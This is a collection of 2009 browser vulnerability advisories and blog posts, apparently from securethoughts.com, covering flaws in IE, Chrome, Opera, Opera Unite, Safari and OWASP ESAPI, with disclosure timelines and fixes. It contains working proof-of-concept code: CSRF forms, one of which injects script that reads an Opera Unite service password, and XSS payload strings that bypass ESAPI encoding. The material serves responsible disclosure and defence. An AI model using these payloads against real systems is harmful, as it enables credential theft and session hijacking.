This bug is NOT ABOUT the local disk path appearing in the FOOTER of your pdf since it is clearly visible and already known by most people. This is easy enough to hide by just going File -> Page Setup -> Change the Footer value from “URL” to “-Empty-”. After doing that, you will not expect your internal disk path being put anywhere else. However, that does not happen.

The privacy issue arises from the fact that your local disk path gets invisibly embedded inside your PDF in the title attribute. Only when you open the file in an Editor like Notepad, you will see it. Currently, there is no option in IE to disable it. The only workaround is to manually nullify this value by editing the PDF file. Note that this problem does not occur when using other browsers such as Firefox and Chrome. In fact, Chrome handles the other footer issue intelligently as well by showing your disk path as “…”, rather than exposing it.

Proof of Concept:

Steps to reproduce:
1. Pick a .HTM or .HTML or .MHT file on your local computer.
2. Open this file in IE and click Ctrl-P.
OR Right-click the file in explorer and select PRINT from context menu.
4. Select any PDF writer as Printer such as Adobe PDF / CutePDF / PrimoPDF / etc.
5. Click Print. When the PDF writer asks for a filename, provide any name.
6. Open the generated pdf in notepad, and search for “file://” without quotes.

Search for this on your favorite search engine (Google/Bing)

filetype:pdf file c (htm OR html OR mhtml)

Google Search 1 (for drive C) – 4 million results
Google Search 2 (for drive D) – 13 million results
and so on…. (I added till drive letter J and total was more than 50 million….)

So, out of 280 million pdfs accessible on the internet, more than 20% look to be exposing internal disk paths which is a huge number. I have contacted the Microsoft and Adobe Security Teams about this issue. Microsoft has plans to fix this in IE9, while Adobe has opened the case but hasn’t planned the timelines yet.

Examples:

http://www.eda.gov/PDF/EDA_vol1;%20Issue10.pdf

<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c316 44.253921, Sun Oct 01 2006 17:14:39">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/">
         <dc:format>application/pdf</dc:format>
         <dc:creator>
            <rdf:Seq>
               <rdf:li>LewtasS</rdf:li>
            </rdf:Seq>
         </dc:creator>
         <dc:title>
            <rdf:Alt>
               <rdf:li xml:lang="x-default">file://C:\Documents and Settings\lewtass\Desktop\eda newsletter</rdf:li>
            </rdf:Alt>
         </dc:title>
      </rdf:Description>

http://www.oregon.gov/OMD/OEM/plans_train/grant_info/fy2009_hsgp_investment_justification.pdf

<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="3.1-701">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:pdf="http://ns.adobe.com/pdf/1.3/">
         <pdf:Producer>Acrobat Distiller 7.0.5 (Windows)</pdf:Producer>
      </rdf:Description>
      <rdf:Description rdf:about=""
            xmlns:xap="http://ns.adobe.com/xap/1.0/">
         <xap:CreatorTool>PScript5.dll Version 5.2.2</xap:CreatorTool>
         <xap:ModifyDate>2009-03-18T15:07:10-07:00</xap:ModifyDate>
         <xap:CreateDate>2009-03-18T15:07:10-07:00</xap:CreateDate>
      </rdf:Description>
      <rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/">
         <dc:format>application/pdf</dc:format>
         <dc:title>
            <rdf:Alt>
               <rdf:li xml:lang="x-default">mhtml:file://O:\fema\shsp_2009\draft ijs\fy 2009 investment jus</rdf:li>
            </rdf:Alt>

=============================================

I. TITLE
————————-
Using Blended Browser Threats involving Chrome to steal files on your computer

II. VULNERABLE
————————-
Chrome all versions < 3.0.195.32
Tests performed on v3.0.195.25

III. BACKGROUND
-------------------------
Google Chrome is a web browser released by Google which uses the WebKit layout engine and application framework. It is one of the four most popular browsers in the market today. Google released the entire source code of Chrome, including its bespoke V8 JavaScript engine as an open source project entitled Chromium, in 2008. Google Chrome is best known for its fast speed, simplicity and reliability.

IV. DESCRIPTION
-------------------------
Google Chrome has an inbuilt file downloader[1], just like every other browser. However, the behavior of this function is different from other browsers and provides users much more usability and convenience. Chrome automatically downloads a file from any site that is passed using the Content-Disposition header value “attachment” (on the contrary, all other browsers show a save as dialog). There are some mitigations done by Chrome to protect users from auto downloading malware by raising an alert on executable extensions such as .exe, .htm, .jar, etc.

The vulnerability arises from the fact that there are other extensions such as .svg, .mht, .mhtml that don’t exist in the Chrome’s malicious extension blacklist and hence the user never gets a warning message before they are auto downloaded to his or her computer. If these downloaded files are clicked from the Chrome’s download bar or Windows Explorer (which the user is highely likely to click considering his or her trust in Chrome that it warns for malicious extensions), they will automatically get opened in other browsers and can be used to steal any file on the user’s computer.

The reason for the name “Blended Browser Threats” is because here, Google Chrome is used as a vehicle for attack, whereas the real vulnerability executes inside other browsers such as IE6, Safari on your computer. The vulnerability is not directly exploitable in IE6, Safari since an evil site cannot automatically download content on your computer without your permission. Another important point to note here is you might not be using the browsers IE6, Safari and instead using Chrome. But clicking a particular file on Chrome’s download bar can make it automatically open in IE6, Safari. See the proof of concept examples below.

V. PROOF OF CONCEPT
————————-
1. The MHT, MHTML (MIME HTML) file format is used by Internet Explorer to embed all external resources, usually images, in a single document. Basically, whenever you click “Save As” on a web page, this is the default format used to save it. So, MHT, MHTML files gets automatically opened in IE when clicked. The exploit I want to discuss is interesting in the context of IE6 (estimated to be installed on roughly 25% of the computers). For other newer versions like IE7, IE8, the user is explicitly prompted about the danger of executing javascript and hence much harder to exploit.

An evil site opened inside Chrome can automatically download a MHT/MHTML file to your computer. If the user clicks on this downloaded file from the Chrome’s download bar or opens this file through Windows Explorer, it gets automatically opened in IE6. The malicious script executes and can be used to send any of your local files to a remote evil destination. Ex: Click on this link-

http://securethoughts.com/security/chromelocalfilexss/chromedownload.php?fname=WATCHMENAKED.mhtml

2. The SVG(Scalable Vector Graphics) file is a registered extension in some Safari versions and hence a SVG file gets automatically opened in Safari. If you ever had an older version of Safari on your computer, this extension will be most probably there in your registry. Hence, it does not matter what your current version of Safari is (and you may very well be using the latest version of Safari). So the exploit works like this:

An evil site opened inside Chrome can automatically download a SVG file to your computer. If the user clicks on this downloaded file from the Chrome’s download bar or opens this file through Windows Explorer, it gets automatically opened in Safari. The malicious script executes and can be used to send any of your local files to a remote evil destination. Ex: Click on this link-

http://securethoughts.com/security/chromelocalfilexss/chromedownload.php?fname=WATCHMENAKED.svg

3. An evil site opened inside Chrome can automatically download inappropriate content such as a por_ographic image to your computer. Ex: Click on this link-

http://securethoughts.com/security/chromelocalfilexss/chromedownload.php?fname=WATCHMENAKED.jpg

VI. FIX DESCRIPTION
————————-
Google Chrome Team fixed this vulnerability by appending these dangerous extensions such as .mht, .mhtml, .svg, etc to already existing extension blacklist.
Check out the fixes done in Chromium Source Code here [2,3].

Chrome Team is also actively looking how to improve this mechanism in the long run, but because of the need to maintain compatibility with certain existing uses, this needs to be done carefully.

VII. SOLUTION
————————-
Chrome: Upgrade to latest version of Google Chrome (v3.0.195.32 or higher). If you remain connected to the internet, this should be automatic.

The more secure solution is to configure your browser to prompt you explicitly before downloading any file type. This can be done by going to Chrome Configuration Options -> Under the Hood -> Check the ‘Ask where to save each file before downloading‘ flag.

VIII. References
————————-
1. Downloads: Downloading a file – Google Chrome Help
http://www.google.com/support/chrome/bin/answer.py?hl=en&answer=95759

2. Google Chrome Code Fix 1
http://codereview.chromium.org/243115

3. Google Chrome Code Fix 2
http://codereview.chromium.org/261022

4. Interesting Reads – thanks to Michal.
(a) Security in Depth: Local Web Pages – Adam Barth
http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html

(b) Same-Origin Policy:Browser Security Handbook – Michal Zalewski
http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy

IX. CREDITS
————————-
This vulnerability is discovered by
Inferno (inferno {at} securethoughts {dot} com)

X. DISCLOSURE TIMELINE
————————-
Oct 5, 2009 12:14 AM: Vulnerability reported to Google Security Team.
Oct 6, 2009 11:19 AM: Automated Response from Google Security Team.
Oct 6, 2009 01:46 PM: First Status update provided by Michal Zalewski. Vulnerability confirmed.
Oct 6, 2009 11:33 PM: Second Status update provided by Michal Zalewski. Code Fix 1 checked in by Adam Barth.
Oct 8, 2009 12:30 AM: Code Fix 2 checked in by Adam Barth.
Nov 5, 2009 01:18 PM: Chrome v3.0.195.32 Released containing the Security Patch.

I would like to thank Michal Zalewski and Adam Barth from Google for their prompt responses and getting the patch ready in a timely manner. It was a pleasure working with them. I am grateful to Google for providing credit for my research by listing me on their “We Thank You” Page.

In this exploit, an attacker uses a maliciously crafted RSS payload to achieve full control over the Victim’s Opera Browser. The attack works by convincing a user to visit a RSS feed link. When the user opens the url in Opera, there are two things that take place. The first one being Javascript in various RSS feed entries gets executed in the context of the calling site. This part was discussed in the previous post and can be used to execute XSS in the context of that site. The second thing that occurs is the untrusted rss feed content lands up in the Opera’s Feed Subscription Page (also the reason for this post). Since this is a native page, it runs in a higher privileged zone than the internet zone (something similar to chrome:// in Firefox and Chrome).

So, if you find a way to execute your malicious javascript in the feed subscription page, you can essentially execute native opera functions and ultimately use it to control the Victim’s Opera browser. It looks like Opera’s Team did think about the implications of putting untrusted user content in this page and hence only permitted a certain whitelist of html tags. In addition, for some html tags such as “A” and “IMG”, it required certain preconditions to be met. See the code snippets captured using Opera inbuilt debugger DragonFly (you can also use Firebug lite).

Whitelisted HTML Tags Definition – Opera Feed Subscription Page (Source – DragonFly)


HTML Tag Sanitizer/Filter Function – Opera Feed Subscription Page (Source – DragonFly)

If you had tried the simple xss attacks like <img src=”x:x” onerror=”some javascript”/> or something like <a onmouseover=”some javascript”>link</a>, these won’t work here (hint: check out preconditions defined above). It is important to understand what you are attacking and if read this code, you will figure out what constitutes a valid malicious payload that will evade this filter or sanitizer on the Opera Subscriptions Page.

So, here is an example PoC exploit code which executes the opera.feeds.subscribeNative function to automatically register a feed in Opera browser without user consent.

http://securethoughts.com/security/rssatomxss/opera10exploit2.atom
(Tested on Opera 10.00 Stable Build 1750)

=============================================

=============================================

I. TITLE
————————-
Exploiting Chrome and Opera’s inbuilt ATOM/RSS reader with Script Execution and more

II. VULNERABLE
————————-
Chrome all versions – 2 and 3 (< 3.0.195.21)
Opera all versions - 9 and 10.

III. BACKGROUND
-------------------------
Back in 2006, there was interesting research done by James Holderness[1] and James M. Snell[2] which uncovered a variety of XSS issues in various online feed aggregator services (e.g. Feed Demon). The vulnerability arises from the fact that it is not expected of RSS readers to render scripted content. I want to extend that research by doing threat analysis on inbuilt feed readers offered in most modern browsers. I have found Google Chrome (v2,3) and Opera (v9,v10) to be vulnerable, while Internet Explorer(v7,8), Firefox 3.5 and Safari 4 are resilient to the exploits mentioned below.

IV. DESCRIPTION
————————-
Google Chrome and Opera’s inbuilt RSS/ATOM Reader renders untrusted javascript in an RSS/ATOM feed.

Exploit Scenarios

1. Scenario 1 –
1. Attacker social engineers a victim user to visit a rss/atom feed link pointing to his or her evil site.
2. Victim uses Google Chrome / Opera browser to view the feed.
3. Malicious javascript gets executed on victim’s browser. Examples
1. Modifies into a phishing page and asks user credentials for subscribing to Google Reader / My.Opera.com
2. Searches user’s browser history for visited url list [3]
3. Scans user’s internal network with/without javascript [4]
2. Scenario 2 –
1. Both attacker and victim user have an account to a trusted website.
2. Either
1. The trusted web site lets the attacker inject JavaScript content into any section of the site’s RSS or an Atom feed.
3. OR
1. The trusted website uses blacklist to block known executable file types for scripted content. E.g. html, jsp, etc.
2. Attacker uploads a file with extension .rss/.atom/arbitary extension preceded by .rss/.atom [e.g. .atom.tx]. Most widely used Apache web server passes Content-Type as “application/{atom/rss}+xml” for all the three cases automatically in default configuration.
3. Attacker convinces victim to visit the direct link to uploaded file.
4. Victim’s cookies and other sensitive data gets sent to attacker’s site.
5. Note: For Internet Explorer (v7,8), the task is easier because it does automatic mime type detection. So, you can execute javascript content in any file extension. E.g. click http://securethoughts.com/security/rssatomxss/anyfile.tx. However, for other browsers, Firefox 3.5, Safari 4, Opera 10 and Chrome 3, they don’t support this functionality (perhaps for security reasons). So, using such extensions mentioned above can be used as a workaround for script execution in Opera and Chrome browsers.
3. Scenario 3 –
1. Similar to Scenario 1, but exploit can be used for complete control over feeds in the Opera browser.

V. PROOF OF CONCEPT
————————-

1. Exploit Scenario 1 [Testcases - 18 XSS for Chrome, 38 XSS for Opera] –
1. Chrome: http://securethoughts.com/security/rssatomxss/googlechromexss.atom [or .rss]
2. Opera: http://securethoughts.com/security/rssatomxss/opera10xss.atom [or .rss]
2. Exploit Scenario 2 –
1. Include all in Scenario 1
2. Opera: http://securethoughts.com/security/rssatomxss/opera10xss.atom.tx [Any arbitary file extension at. E.g .tx, .tm]
3. Chrome: http://securethoughts.com/security/rssatomxss/googlechromexss.atom.tx [Any arbitary file extension at. E.g .tx, .tm]
3. Exploit Scenario 3 –
1. Details and PoC will be released after patch is provided by Opera Security Team in next minor release.

For research purposes, you can try out the PoCs on these virtualized (and vulnerable) versions of various browsers, without installing any bits on your computer [5].

VI. FIX DESCRIPTION
————————-

1. Chrome: ATOM/RSS feed rendering is completely disabled by forcing a text/plain MIME type [6]. If you need feed rendering, a good alternative is FeedBurner which protects from any script execution attacks by blocking them at time of the feed registration.
2. Opera: Scenarios (1) and (2) will not be fixed, as it is a design feature. Scenario (3) will be patched in next minor release.

Google Chrome before fix –

Google Chrome after fix –

Opera before fix –

Opera After Fix –
Still the same. Only Scenario (3) will be fixed.

VII. SOLUTION
————————-
Chrome: Upgrade to latest version of Google Chrome (v3.0.195.21 or higher). If you remain connected to the internet, this should be automatic.
Opera: Wait for upcoming patch for Scenario (3) in next minor release (non-alpha/beta) of Opera 10 [Opera 9 users need to upgrade]. However, you will still continue to be vulnerable to script execution.

VIII. REFERENCES
————————-
1. Attack Delivery TestSuite – James Holderness
http://intertwingly.net/blog/2006/08/09/Attack-Delivery-TestSuite

2. Feed Security – James M. Snell
http://www.snellspace.com/wp/?p=448

3. CSS History Hack – Jeremiah Grossman
http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

4. Browser Port Scanning without Javascript – Jeremiah Grossman
http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html

5. Downloading Xenocode’s “sandboxed” applications – Wladimir Palant
http://adblockplus.org/blog/downloading-xenocode-s-sandboxed-applications

6. Google Chrome Fix Details
http://code.google.com/p/chromium/issues/detail?id=21238

IX. CREDITS
————————-
This vulnerability is discovered by
Inferno (inferno {at} securethoughts {dot} com)

X. DISCLOSURE TIMELINE
————————-
Sep 7, 2009 12:09 PM: Vulnerability reported to Google and Opera Security Teams.
Sep 7, 2009 12:10 PM: Automated Response from Google Security Team.
Sep 7, 2009 03:49 PM: First Status update provided by Google Security Team. Quick response for a Holiday.
Sep 8, 2009 01:09 AM: First Status update provided by Opera Security Team. Vulnerability concluded as design feature.
Sep 8, 2009 03:28 PM: Vulnerability confirmed by Google Chrome Security Team. Patch timelines provided.
Sep 9, 2009 07:39 AM: Second Status update provided by Opera Security Team. Asked for exploit possibility for certain scenarios.
Sep 10, 2009 01:33 AM: Third Status update provided by Opera Security Team. Vulnerability confirmed for new provided testcases.
Sep 15, 2009 01:31 AM: Final Status update provided by Opera Security Team. Scenario (3) will be fixed, while Scenarios (1), (2) will not be.
Sep 15, 2009 03:04 PM: Patch released by Google Security Team in v3.0.195.21.
Sep XX, 2009 XX:XX XX: Patch planned by Opera Security Team for next minor release.

I would like to thank Chris Evans from Google Chrome Security Team and Sigbjørn Vik from Opera Security Team for their prompt responses, engaging in insightful discussions and getting the fix ready in a timely manner. It was a pleasure working with them.

Opera Unite comes bundled with a bunch of standard services such as Fridge (Notes), The Lounge (chatroom), etc. It is important to understand that these services have two distinct views. One view is of the Service Owner, who installs, customizes and runs these services on his or her computer. The service owner and the computer running these services have associated identifiers. By default, computer name is “home”. So, your administrative homepage is http://admin.home.uid.operaunite.com/. Remember that even though the protocol of communication looks like http, it is not. Opera relays all traffic using a proprietary ucp protocol (encrypted) to asd.opera.com and auth.opera.com (no protocol details except here). The other view is of the Service Page which is used by your users (friends, customers, etc) to access your selected content. These trusted users can access your services from any browser (not just opera unite) and uses the plain http protocol. The service homepage is http://home.uid.operaunite.com/.

I was fascinated by this idea, so I decided to look at the security aspects of the product (while it was in beta). Here are my findings in no particular priority order (tested on 10.00 Beta 3 Build 1703). I am including the PoC in their respective sections. Remember to change “home” with your computerid and “infernosec2” with your userid.

1. Enumerating Service Owner Usernames — Well, if you want to carry out targeted attacks against a particular user, it is easier to do so by guessing his or her username. Usernames are generally firstname/lastname/firstname.lastname, etc. However, for more generic attacks, Opera Unite makes our task easier by allowing Google to index its user’s pages (configurable). Here is the output from a simple query – site:operaunite.com

2. Enumerating Computer names for a particular Service Owner — Once you decide on your target service owner, the next step is to determine which computers belong to him or her. Note that from the search engine, you might only get few computer names and not all since owner might have elected to not index the private ones. However, if you visit the service homepage with any non-existent computer name, then Opera Unite happily discloses all computer names used by that person.

3. Enumerating Service Owner Server IP address and Port number — If you are a service owner and is thinking that your identity is masked by Opera Unite Proxy Servers, think again. Opera Unite discloses your IP address and Port number to any user (even unauthenticated) who visits your service pages. I have tested this to work on File Sharing and File Uploader Services. Just do a view-source: on any of those pages.

4. Hijacking Insecure Communication in Service Pages — While Opera Team has taken adequate steps to secure the Service Owner’s communication with Opera Unite Servers (using proprietary ucp), however, the communication of Service Page users with Opera’s Server is plain http and there is no choice to use https (like you cannot do https://home.infernosec2.operaunite.com/file_sharing/content/). These users use sensitive credentials to login to your services and need the same kind of security as the service owner. What is more shocking is that the user management system at my.opera.com does not support https. Try visiting https://my.opera.com/

5. Hosting Phishing Pages and other Malware on Trusted Operaunite.com — As an attacker, you can use Opera Unite to serve phishing pages and malware content from your profile. Both file sharing and file uploader services render the service owner content inside the browser, leaving user vulnerable to phishing and other malware attacks. For example, before serving some content, I phish the user to provide his or her opera unite credentials. User might think that the content is coming from trusted operaunite.com and hence has a high probability of falling to this spoof.

6. CSRF-ing a File Upload from a Trusted User — Lets say a trusted user is using your file uploader service, i.e. he or she has provided credentials to access it. At the same time, if that user goes to my evil site, I can make him upload arbitrary files to your computer, thereby breaking the trust you have in that user. If the service owner accidentally clicks on that file, it renders inside the browser (thanks to automatic MIME type detection) and poof your XSS executes. In the example below, I have written code to steal your service access password. Please note that this exploit requires that your trusted user is accessing the service from any browser other than Opera since Opera escapes the filenames properly. This exploit is out for the last 1.5 years, but browser vendors haven’t felt the need to fix this (still works for IE8, Firefox 3.5.2).

<html>
<form method="post" action="http://home.infernosec2.operaunite.com/file_uploader/content/upload" enctype="multipart/form-data">
<textarea name='file"; filename="evil"
Content-Type: text/html; '>
<html>
<script>
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
            if (xhr.readyState == 4) {
                if (xhr.status == 200) {
					var pattern= /<[^>]*unite-aclPassword" value="([^>]*)">/i;
					if(pattern.test(xhr.responseText))
					{
						alert("Your acl password is: "+RegExp.$1);
					}
                }
            }
        };

    xhr.open('GET', 'http://admin.home.infernosec2.operaunite.com/file_uploader/admin/', true);
    xhr.send(null);
</script>
</html>
</textarea>
</form>
<script>
     document.forms[0].submit();
</script>
</html>

(Combined PoC available here – http://securethoughts.com/security/operaunite/attack.html)

7. CSRF-ing a Note on the Fridge — Fridge service is an unauthenticated service that is meant for people to leave notes on your computer. If you turn on this service, an attacker can leave weird derogatory fun notes or just fill the queue (default limit -24) so that noone else can post anything. However, he might not want to do that since his ip etc might be getting logged by Opera Servers. So, the better or more stealthy way is to make other users do it for him. Any user that visits his evil site can be made to automatically post notes to any Opera Unite Profile. This includes the service owner as well who can be forced to post something on his computer .

<html>
<form method="post" action="http://home.infernosec2.operaunite.com/fridge/">
<input type="text" name="post" value="You are Hacked">
<input type="text" name="author" value="Attacker">
<input type="text" name="email" value="Evil">
<input type="text" name="cancel" value="cancel">
</form>
<script>
     document.forms[0].submit();
</script>
</html>

(Combined PoC available here – http://securethoughts.com/security/operaunite/attack.html)

8. CSRF-Ing anyuserid to join a chatroom — Similar to (6), you can force any trusted user (who is already authenticated to your chatroom with a particular userid) to rejoin with alternate usernames. He or she cannot be forced to post anything (csrf protection), however, this can abused to disrupt any existing conversation. I still have a hard time understanding why anyone wants to allow such functionality ?

<html>
<form method="post" action="http://home.infernosec2.operaunite.com/the_lounge/entry">
<input type="text" name="nick" value="anyfakeid">
</form>
<script>
     document.forms[0].submit();
</script>
</html>

(Combined PoC available here – http://securethoughts.com/security/operaunite/attack.html)

9. XSS ing the unite-session-id cookie, works for almost all services — There is an XSS issue in the unite-session-id cookie, whose value gets echoed in the javascript of http response. I would call this as a low severity issue since this attack of overwriting http headers is only possible to do with older versions of Flash (like 7,8,lower versions of 9) and IE6. Still a bug though

10. Clickjacking any Service Page — Opera Team has taken necessary steps to protect the service owner pages from any type of clickjacking exploits. However, they do not provide any protection for the service pages. With the current list of default services and operations allowed from trusted user, I cannot think of interesting exploits. One example can be to clickjack a chatroom user and force him to logout of a conversation. I didn’t get much time to spend on this. But when more and more people start writing their own opera unite services that allow dynamic user interactions, this type of protection will definitely be required.

11. Inconsistency in Password Policy for some services — Most opera unite services are initialized and protected by a default 8 or 9 digit alphanumeric password. However, the photo service is protected by a default 4 char password, which is easily breakable by brute force (looks like photos are considered less private than files). Also, chatroom is out-of-the-box unauthenticated and even if you enable password protection, it picks up a default password “default”. So, your users will have to generate a strong password themselves, which is highly unlikely.

References :–

1. Clickjacking – Jeremiah Grossman and Robert “RSnake” Hansen
http://ha.ckers.org/blog/20081007/clickjacking-details/

2. Forging HTTP Request Headers with Flash – Amit Klein
http://www.securityfocus.com/archive/1/441014

3. Exploiting XSS Vulnerabilities on Cookies – Sirdarckcat
http://sirdarckcat.blogspot.com/2008/01/exploiting-xss-vulnerabilities-on.html

4. CSRF-ing File Upload Fields – Kuza55
http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html

I was evaluating this ESAPI api and the recommendations given on the wiki to see if there are any potential flaws. Any weakness impacts a very large number of users since many developers are using it to strengthen their web applications throughout the world. This is my way of contributing back to the community, but can never match the immense efforts put by Jeff and other OWASP team members in developing this library.

I want to give you a little bit of background before diving into the real vulnerability. The XSS prevention cheat sheet classifies XSS protections by dividing them into broadly four buckets – HTML Body injection, HTML Attribute injection, Javascript injection and CSS injection. For each of these four buckets, there is an ESAPI function reference you can use for output escaping/encoding.

If you allow any untrusted user input into javascript functions document.write() OR eval(), it can still execute the XSS even after you do the scrubbing using the ESAPI encodeForJavaScript() function. The reason being that hex escaped chars are converted back into normal chars at the time of execution of these functions.

Here is the proof of concept jsp code:

<%@page import="org.owasp.esapi.*"%>

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
   "http://www.w3.org/TR/html4/loose.dtd">

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>ESAPI XSS Protection Bypass</title>
    </head>
    <body>
        <h1>ESAPI XSS Protection Bypass</h1>
        <p id="tb1"/><br>
        <p id="tb2"/>
        <script>
            //in real scenario, these three strings come from request.getParameter or user input
            <%
                String vulstr1 = "-1';alert(0);";
                String vulstr2 = "<img src=x onerror=alert(1)>";
                String vulstr3 = "0,x setter=alert,x=2";
            %>   

            // you can safely use it in places like this
            // Ex. vulstr1 is completely encapsulated in a and alert(0) not executed.
            var a='<%= ESAPI.encoder().encodeForJavaScript(vulstr1) %>';
            alert(a);

            // However, you can bypass protection in places like these
            // Ex. vulstr2 gets written to html and alert(1) executes
            document.write("<%= ESAPI.encoder().encodeForJavaScript(vulstr2) %>");
            // Ex. part of vulstr3 get assigned to u, rest alert(2) executes
            eval("u=<%= ESAPI.encoder().encodeForJavaScript(vulstr3) %>");
        </script>
    </body>
</html>

Much thanks to Jeremiah Grossman and Jeff Williams for taking the time to review my idea and providing their insights. Jeremiah told me that he has seen such injections from time to time at WhiteHat and these do exist in the wild.

Jeff confirmed that some documentation changes will fix this. I agree that no esapi code change is required, because function themselves are not insecure.

But, if you are currently using esapi functions inside your javascript code, it is important that you re-review your javascript code and the places where your make calls to esapi functions.

If you use the esapi function encodeForJavaScript() inside document.write, it is advised that you change them with other appropriate esapi functions depending on the context where the data is ultimately landing. For example, if you have document.write(“<script>alert(‘XSS’)</script>”), you know the data is landing in html body context, so it is appropriate to use encodeForHTML() wrapper. Using user input inside eval is less common, but more disastrous. The reason for this is you can still begin another command context using , and (space) char and it won’t be encoded by function encodeForHTML(). So, it is better to avoid putting user input inside eval.

Any more suggestions or discussion on fixes is highly welcome.

Well, this one is an interesting issue I found while evaluating Safari 4 Beta (v528.16). This is not your usual XSS or CSRF bug which requires a site vulnerability, but a persistent browser backdoor that impacts all Safari 4 users using versions 4.0.2 and below. I was pretty amazed at some of the new features offered by the latest version of Apple’s browser, especially the hyped Top Sites and Cover Flow. I decided to hack this cool feature. Here is what i found.

=============================================
SECURETHOUGHTS.COM ADVISORY
- CVE-ID : CVE-2009-2196
- Release Date : August 11, 2009
- Discovered by : Inferno
=============================================

I. TITLE
————————-
Hijacking Safari 4 Top Sites with Phish Bombs

II. VULNERABLE
————————-
Safari 4 all versions < 4.0.3
Platforms affected - Mac OS X v10.4.11, Mac OS X Server v10.4.11, Mac OS X v10.5.7, Mac OS X Server v10.5.7, Windows XP and Vista

III. BACKGROUND
————————-
Safari is a web browser developed by Apple Inc. It is the default browser in Mac OS X v10.3 and higher. Safari for the Microsoft Windows platform first released on 11 June 2007 and currently supports both Windows XP and Windows Vista. The current stable release of the browser is 4.0.3 for Mac OS X and Windows. (Source – Wikipedia).

Safari 4 introduced the Top Sites feature to provide an at-a-glance view of a user’s favorite websites. It is the most hyped feature of Safari 4 and widely used by users to quickly jump to their frequently used sites which can include their banks, email accounts, shopping sites, etc.

IV. DESCRIPTION
————————-
It is possible for a malicious website to place arbitrary sites into your Top Sites view through automated actions. The attack technique makes use of javascript windows where in a small window is used to repeatedly browse to different sites that the attacker wants to add in your Top Sites list. This window is completely hidden using the window.blur function and user won’t know that is happening in the background. Please note that this attack is not possible using invisible iframes as Safari does not use iframe urls to decide Top Sites content.

Once the attack completes execution, the small window gets closed and the next time you use Safari Top Sites, it will be have the attacker’s defined sites replace your existing legitimate sites. To make this decision of which sites to replace with, an attacker can first use the CSS History Hack found by Jeremiah Grossman[2] and then accordingly set fake sites relative to those user’s visited websites. Hence, this could easily facilitate a serious phishing attack. The situation is worsened by the Safari’s inadequate protection against URL obfuscation attacks as highlighted in [3], which makes it almost impossible for a regular user to spot the fake site and differentiate it from a legitimate one.

V. PROOF OF CONCEPT
————————-
http://securethoughts.com/b/q.htm
The PoC currently runs in under a minute, which is based on most conservative input parameter values.

The two input parameters in this attack are the number of times the fake website should be visited (n)(default=28) and timeout(t)(default=2 sec) that triggers a switch between two fake websites. It is very simple and adds two fake websites for bankofamerica.com and gmail.com to your top sites. (it does not check your browser history, but that is left as an exercise for the reader ). Also, you might have to increase the parameter value of ‘n’ if you visit your favorite sites very often.

A real-world hacking scenario would look like:

1. Attacker injects malicious javascript on
(a) His or her evil site OR
(b) On a legitimate site which allows javascript (e.g. bulletin boards, dashboards, etc).

2. Victim visits the above site.

3. Malicious javascript runs and first checks browser history (using CSS history hack[2]) from a list of Alexa Top 500.

4. Attacker replaces the user’s visited sites with fake phishing sites (makes legitimate sounding names with url obfuscation).

5. Every time user opens a phishing site and gets a login page, user’s credentials gets stolen. Attacker will present a login error message, asking user to try again later. At the same time, attacker will reset that phishing site back to the legitimate page. This way, user will never know what happened.

6. On another note, attacker can always keep atleast 1 or 2 phishing websites at all times in Top Sites. This will help the attacker to maintain persistent control of a user’s session and every time user visits a new site, it will be detected by the attacker and will be replaced by a phishing site in Top Sites.

VI. FIX DESCRIPTION
————————-
This issue is addressed by preventing automated website visits from affecting the Top Sites list. Only websites that are manually entered in the url address bar are considered to be placed in the Top Sites view.

VII. SOLUTION
————————-
Upgrade to Safari 4.0.3.

Apple security updates are available via the Software Update mechanism:
http://support.apple.com/kb/HT1338

Apple security updates are also available for manual download via:
http://www.apple.com/support/downloads/

VIII. REFERENCES
————————-
1. Apple Security Updates
http://support.apple.com/kb/HT1222

2. Jeremiah Grossman’s CSS History Hack
http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

3. Phishing with URL Obfuscation continues in Safari 4
http://securethoughts.com/2009/06/phishing-with-url-obfuscation-continues-in-safari-4/

IX. CREDITS
————————-
This vulnerability is discovered by
Inferno (inferno {at} securethoughts {dot} com)

XI. DISCLOSURE TIMELINE
————————-
May 21, 2009: Vulnerability discovered by Inferno.
May 21, 2009: Apple contacted.
May 21, 2009: Automated response from Apple.
May 26, 2009: First response from Apple Security Team.
Jun 03, 2009: First Status update provided by Apple.
Jun 27, 2009: Second Status update provided by Apple.
Jul 24, 2009: Coordinated public release of Advisory with Apple.
Aug 11, 2009: Software Update and Public Advisory issued by Apple.

I would like to thank Apple Security Team for their timely responses, understanding the high severity of this issue and releasing a patch in a reasonable time period.

Both Chrome and Opera browsers offer similar features, but are not impacted by this vulnerability. Chrome only allows manually typed urls in the address bar to go into the “Most Visited” start page, whereas Opera requires a user to explicitly add his or her favorite web page as a speed dial entry. IE does not have this feature, so is unaffected by this.

I met several interesting people at BlackHat and Defcon this year from Apple, Microsoft, WhiteHat, SecTheory, McAfee, Paypal, etc. One of the folks i met was Daniel Herrera from SecTheory. He told me some of the research he had been doing, one of which was a similar anomaly in Top Sites. He was very happy to know that Apple is fixing this issue. In the near future, he will share with us his cool ideas. This includes some of the vulnerabilities he is working on for Opera.

For IE8: http://securethoughts.com/security/ie8xdr/ie8xdr-ping-sweep.html
For Firefox 3.5+ (Original): http://ha.ckers.org/weird/xhr-ping-sweep.html

